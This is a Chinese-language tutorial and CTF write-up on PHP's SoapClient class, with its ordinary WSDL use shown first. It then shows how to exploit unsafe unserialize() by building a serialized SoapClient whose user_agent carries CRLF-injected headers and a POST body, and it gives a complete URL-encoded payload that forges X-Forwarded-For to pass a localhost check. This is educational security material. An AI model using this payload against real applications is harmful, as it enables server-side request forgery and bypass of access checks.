SoapClient原生类先容:
SoapClient采取HTTP作为底层通讯协议,XML作为数据传送的格式。
SoapClient原生类官方先容如下:
class SoapClient { / Methods / public __construct(?string $wsdl, array $options = []) public __call(string $name, array $args): mixed public __doRequest( string $request, string $location, string $action, int $version, bool $oneWay = false ): ?string public __getCookies(): array public __getFunctions(): ?array public __getLastRequest(): ?string public __getLastRequestHeaders(): ?string public __getLastResponse(): ?string public __getLastResponseHeaders(): ?string public __getTypes(): ?array public __setCookie(string $name, ?string $value = null): void public __setLocation(?string $location = null): ?string public __setSoapHeaders(SoapHeader|array|null $headers = null): bool public __soapCall( string $name, array $args, ?array $options = null, SoapHeader|array|null $inputHeaders = null, array &$outputHeaders = null ): mixed}
可以看到,根据以上代码,在新建一个SoapClient的类工具的时候,须要有两个参数,一个是字符串形式的wsdl,另一个是数组形式的options。而wsdl在开拓中十分常见,在安全中用的比较少,因此接下来的的部分篇幅,将分为SoapClient在开拓中的运用以及SoapClient在安全中的运用这两块。

wsdl这参数之以是在开拓中如此常用,是由于它能非常快速的调用现成接口。
用一个实例代码先容一下wsdl参数:
<?php $url = "http://www.webxml.com.cn/webservices/qqOnlineWebService.asmx?wsdl"; $client = new SoapClient($url); $params = array( "qqCode" => "1043045300" ); $result = $client->qqCheckOnline($params); print_r($result);?>
实行结果如下:
stdClass Object( [qqCheckOnlineResult] => Y)
个中url中的值是QQ开放的WSDL接口,在这个接口中qqCheckOnline方法可以用来查询QQ是否在线
当然,也可以实行以下代码,查询QQ开放的WSDL接口还支持哪些类型以及方法:
<?php $url = "http://www.webxml.com.cn/webservices/qqOnlineWebService.asmx?wsdl"; $client = new SoapClient($url); print_r($client->__getTypes()); print_r($client->__getFunctions());?>
实行结果如下:
Array( [0] => struct qqCheckOnline { string qqCode;} [1] => struct qqCheckOnlineResponse { string qqCheckOnlineResult;})Array( [0] => qqCheckOnlineResponse qqCheckOnline(qqCheckOnline $parameters) [1] => qqCheckOnlineResponse qqCheckOnline(qqCheckOnline $parameters))
根据上方的两个例子,我们对SoapClient原生类该当有了部分理解。
但是由于SOAP协议实质上实在还是HTTP协议,只是改变了传输过程中的内容为XML形式,而在实际开拓过程中,更有些接口对付要求的HTTP头也做一些校验限定,因此须要设置HTTP的要求头以适应需求。
有关设置HTTP要求头的下面的篇幅会讲到。
SoapClient在安全中的运用由于SoapClient原生类中包含__call方法,并且我们知道:当调用一个工具中不存在的方法时候,会实行call()魔术方法。
因此在CTF中常日会涌现一种存在调用不存在的方法、并且须要我们假造要求头的题目。
这种时候,SoapClient恰好可以给我们办理问题。
下面拿一个例题来详细讲解SoapClient在CTF中是如何利用的。
首先题目是给了flag.php的源码,源码如下:
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);array_pop($xff);$ip = array_pop($xff);if($ip!=='127.0.0.1'){ die('error');}else{ $token = $_POST['token']; if($token=='ctfshow'){ file_put_contents('flag.txt',$flag); }}
打开题目后,内容如下:
<?phphighlight_file(__FILE__);$vip = unserialize($_GET['vip']);//vip can get flag one key$vip->getFlag();
我们先审计flag.php,前半部分是对XFF头进行了处理:
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);array_pop($xff);$ip = array_pop($xff);
explode() 函数可以把字符串打散为数组。array_pop() 弹出并返回 array 数组的末了一个单元,并将数组 array 的长度减一。
这三行代码实际上便是,将做事器得到的XFF的末了一个删除,留下的是倒数第二个。
如果我们有以下代码:
<?php$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);array_pop($xff);$ip = array_pop($xff);print_r($ip);
当我们XFF传入以下内容:
127.0.0.1#返回:空127.0.0.1,127.0.0.2#返回:127.0.0.1127.0.0.1,127.0.0.2,127.0.0.3#返回:127.0.0.2
接下来我们审计index.php的代码
<?phphighlight_file(__FILE__);$vip = unserialize($_GET['vip']);//vip can get flag one key$vip->getFlag();
可以看到对传入的vip参数进行反序列化,并且调用getFlag方法,显然此处没有类定义了getFlag这个方法,因此我们考虑利用SoapClient原生类调用未知方法后实行call魔术方法,然后布局要求读取flag.php
接下来,我们手动在本地做测试:
我们有如下代码,个中uri中的9998端口是为了和location中的9999端口做区分:
<?php$client = new SoapClient(null,array('uri' => 'http://127.0.0.1:9998/' , 'location' => 'http://127.0.0.1:9999/test'));$client->getFlag();
然后我们nc监听9999端口
nc -lvvp 9999
刷新页面之后,可以得到以下要求内容:
仔细不雅观察后,创造是一个POST要求,并且SOAPAction的值是可控的
但是仅仅依赖这一处,没有办法假造整一个POST要求,由于Content-Type是xml形式的,并且后面的传输内容也都是xml形式的,一样平常情形下POST通报参数的格式都是表单形式的(application/x-www-form-urlencoded)
因此我们可以想办法假造User-Agent头:
修正后的代码如下:
<?php$ua = "Lxxx";$client = new SoapClient(null,array('uri' => 'http://127.0.0.1:9998/' , 'location' => 'http://127.0.0.1:9999/test' , 'user_agent' => $ua));$client->getFlag();
nc监听后,得到的结果如下:
可以看到,User-Agent也被注入进去了,此时,User-Agent就成为了我们的可控参数
当User-Agent成为了我们的可控参数后,User-Agent下方的Content-Type也同样可以被假造,利用\r\n换行即可假造
再次修正后的代码如下:
<?php$ua = "Lxxx\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow";$client = new SoapClient(null,array('uri' => 'http://127.0.0.1:9998/' , 'location' => 'http://127.0.0.1:9999/test' , 'user_agent' => $ua));$client->getFlag();
代码中有几个把稳的点
由于$ua中用到了\r\n这两个换行符,因此要用双引号包裹HTTP要求头之间的参数用一组\r\n分割即可HTTP要求头与POSTDATA之间要用两个\r\n分割.设置User-Agent时,应写成user_agent同样的,nc监听后,结果如下:
个中紫色方框中的是有效的HTTP要求,由于我们设置了Content-Length的值为13,超出13个字符以外的都会被做事器丢弃,以是影响不大。
在本地测试完成了,接下来我们将干系参数修正与题目相对应。
修正后的payload如下:
<?php$ua = "Lxxx\r\nX-Forwarded-For: 127.0.0.1,127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow";$client = new SoapClient(null,array('uri' => 'http://127.0.0.1/' , 'location' => 'http://127.0.0.1/flag.php' , 'user_agent' => $ua));print_r(urlencode(serialize($client)));
得到结果:
O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A128%3A%22Lxxx%0D%0AX-Forwarded-For%3A+127.0.0.1%2C127.0.0.1%0D%0AContent-Type%3A+application%2Fx-www-form-urlencoded%0D%0AContent-Length%3A+13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
然后传入payload:
?vip=O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A128%3A%22Lxxx%0D%0AX-Forwarded-For%3A+127.0.0.1%2C127.0.0.1%0D%0AContent-Type%3A+application%2Fx-www-form-urlencoded%0D%0AContent-Length%3A+13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
这样flag就被写到了flag.txt中,访问之后即可拿到flag:
但是这题本身是可以直接访问flag.php页面,假造要求头得到flag的。
不过当有了cloudfare代理,无法直接在本地假造要求头时,就须要利用SoapClient类来布局要求。
实验名称:实验:Headers注入(合天网安实验室)